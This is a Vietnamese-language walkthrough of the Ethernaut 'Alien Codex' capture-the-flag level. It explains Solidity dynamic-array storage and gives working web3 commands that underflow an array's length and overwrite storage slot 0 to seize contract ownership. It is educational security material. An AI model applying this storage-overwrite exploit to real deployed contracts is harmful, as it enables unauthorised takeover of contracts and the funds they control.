19. Alien Codex
Nhiệm vụ: Chiếm quyền owner.
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
Phân tích
Đầu tiên ta cần hiểu về cách lưu trữ của solidity:
- Dynamic size array sẽ lưu tại một slot nhớ, slot này chỉ lưu
độ dài
của array. - Phần tử trong dynamic array tại slot
p
sẽ được lưu trữ lần lượt từkeccak256(p)
, một lưu ý quan trọng là p là chuỗi 32 bytes, chứ không phải là giá trị uint.
Các bạn có thể tham khảo thêm về storage của solidity tại bài viết này của mình: https://www.kiendt.me/2018/05/01/smart-contract-storage/
Trong contract có cung cấp cho chúng ta 2 hàm mà ta có thể khai thác:
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
do đó ta có ý tưởng là:
- mở toàn bộ các slot của dynamic array
codex
bằng cách khai thác lỗ hổngunderflow
bằng hàmretract
. Khi độ dài xuống dưới 0 thì sẽ quay trở lạimaxuint
. - địa chỉ của owner được lưu trữ tại vị trí slot 0 (cùng với biến
bool contact
), ta sẽ tịnh tiến vị trí củai
trong hàmrevise
đến vị trí 0 bằng cách khai thác lỗ hổngoverflow
, sau đó ghi đè lên giá trị của owner.
Solution
- đầu tiên ta phải make_contract để có thể gọi được các hàm tiếp theo
contract.make_contact();
- mở toàn bộ các slot của
codex
contract.retract();
- kiểm tra lại xem toàn bộ slot đã được mở chưa?
await web3.eth.getStorageAt(instance, 1);
> 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
- phần tử đầu tiên của
codex
sẽ được lưu trữ tại:
web3.utils.keccak256('0x0000000000000000000000000000000000000000000000000000000000000001');
> '0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6';
- Tính toán giá trị
i
cần để overflow và tịnh tiến đến vị trí 0 (ở đây số lớn mình tính bằng python cho tiện)
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1
> 35707666377435648211887908874984608119992236509074197713628505308453184860938
- kiểm tra trạng thái của slot 0
await web3.eth.getStorageAt(instance, 0);
> 0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
trong đó da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
là địa chỉ của owner, số 1
phía trước là giá trị bool(true) của biến contact
.
-
để thay địa chỉ owner bằng địa chỉ của mình, ta cần thay giá trị
da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
trong slot bằng địa chỉ của mình, trong trường hợp này làc3a005e15cb35689380d9c1318e981bca9339942
. Giá trị của slot sẽ là0x000000000000000000000001c3a005e15cb35689380d9c1318e981bca9339942
-
đưa tất cả vào hàm
revise
contract.revise(
"35707666377435648211887908874984608119992236509074197713628505308453184860938",
"0x000000000000000000000001c3a005e15cb35689380d9c1318e981bca9339942"
);
- kiểm tra lại contract owner:
await contract.owner();
> '0xC3a005E15Cb35689380d9C1318e981BcA9339942'
- Submit & all done!